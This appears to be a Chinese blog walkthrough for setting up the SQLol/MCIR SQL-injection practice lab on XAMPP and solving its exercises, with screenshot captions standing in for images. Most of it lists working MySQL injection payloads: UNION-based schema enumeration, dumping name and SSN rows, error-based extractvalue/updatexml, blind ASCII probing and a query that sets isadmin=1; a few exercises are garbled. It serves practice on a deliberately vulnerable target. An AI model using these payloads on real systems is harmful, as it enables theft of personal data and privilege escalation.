搭建SQLo靶机与练习

SQLol安装

实验器材:Window 7 windows 2008

下载地址:http://github.com/SpiderLabs/MCIR
安装流程:
Window2008配置:
解压压缩包到网站根路径(例如,我新建一个sql目录,存放压缩包内容)
解压MCIR压缩包到c盘/xampp/htdocs/sql
搭建SQLo靶机与练习_第1张图片
打开c盘/xampp/htdocs/sql/sqlol/includes
/database.config.php 修改 u s e r n a m e / username/ username/password等信息;
搭建SQLo靶机与练习_第2张图片
右击用vim编辑器打开编辑:
搭建SQLo靶机与练习_第3张图片
修改 u s e r n a m e / username/ username/password等信息;
搭建SQLo靶机与练习_第4张图片
打开http://localhost/sql/,可以看到如下界面,点击RESET,即可完成数据库的安装。
搭建SQLo靶机与练习_第5张图片
搭建SQLo靶机与练习_第6张图片
出现Done搭建成功:
搭建SQLo靶机与练习_第7张图片
返回如图操作:
搭建SQLo靶机与练习_第8张图片
选择输出结果:所有结果和没有错误信息
搭建SQLo靶机与练习_第9张图片
搭建SQLo靶机与练习_第10张图片
出现14个练习题:
搭建SQLo靶机与练习_第11张图片
0.练习:
’ or ‘1’=‘1
搭建SQLo靶机与练习_第12张图片
1.练习:
查找数据库
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),
version()) #
搭建SQLo靶机与练习_第13张图片
查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’; #
搭建SQLo靶机与练习_第14张图片
查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’;#
搭建SQLo靶机与练习_第15张图片
显示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn #
搭建SQLo靶机与练习_第16张图片
2.练习:
显示所有字段
1 and 1=2 union
select concat_ws(char(32,58,32),name , ssn) from ssn; #
搭建SQLo靶机与练习_第17张图片
3.练习
查找数据库
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),version()) #
搭建SQLo靶机与练习_第18张图片
查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’ LIMIT 1
OFFSET 1; #
搭建SQLo靶机与练习_第19张图片
查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’; #
搭建SQLo靶机与练习_第20张图片
显示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1 #
搭建SQLo靶机与练习_第21张图片
4.练习
查找数据库
’ and (extractvalue(1,
concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and ‘1’=‘1
给出错误信息分析:
搭建SQLo靶机与练习_第22张图片
显示所有字段
’ and (extractvalue(1, concat(0x7e,(select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1)))) and ‘1’=‘1 #
搭建SQLo靶机与练习_第23张图片
5.盲注练习
’ or ascii(substring((select
user()),1,1)) = 111#
(1)无反馈:
搭建SQLo靶机与练习_第24张图片
(2)从111试到了114出来了结果:(111-114是对应ASSIC表中
小写字母o-r)
’ or ascii(substring((select
user()),1,1)) = 114#
搭建SQLo靶机与练习_第25张图片
6-7.练习:
’ or
updatexml(0,concat(0x01,(SELECT concat(name,’ ‘,ssn) FROM ssn limit 0,1)),0) #
搭建SQLo靶机与练习_第26张图片
.练习:
’ uNion seLect
concat(name,’:’,ssn) from ssn uNion selEct null from users whEre
username=’
搭建SQLo靶机与练习_第27张图片
9.练习
admin’, isadmin = 1 WHERE id = 3#
搭建SQLo靶机与练习_第28张图片
10.练习
concat(name,’:’,ssn) from ssn#
搭建SQLo靶机与练习_第29张图片
11.练习
搭建SQLo靶机与练习_第30张图片
12.练习:
1’ and #>
脚本已注入数据库,每次都会弹窗。
搭建SQLo靶机与练习_第31张图片
13.练习
chuNk mACRUnFast%
通过编写脚本或使用 SQLMAP 进行猜测计算,当猜测正确的时候返回
值是“Got results!”(因为 Python编程与 SQLMAP)
搭建SQLo靶机与练习_第32张图片
改了显示信息栏显示的结果:
搭建SQLo靶机与练习_第33张图片

你可能感兴趣的:(安全,笔记,mysql,数据库,web,app,sql,mariadb)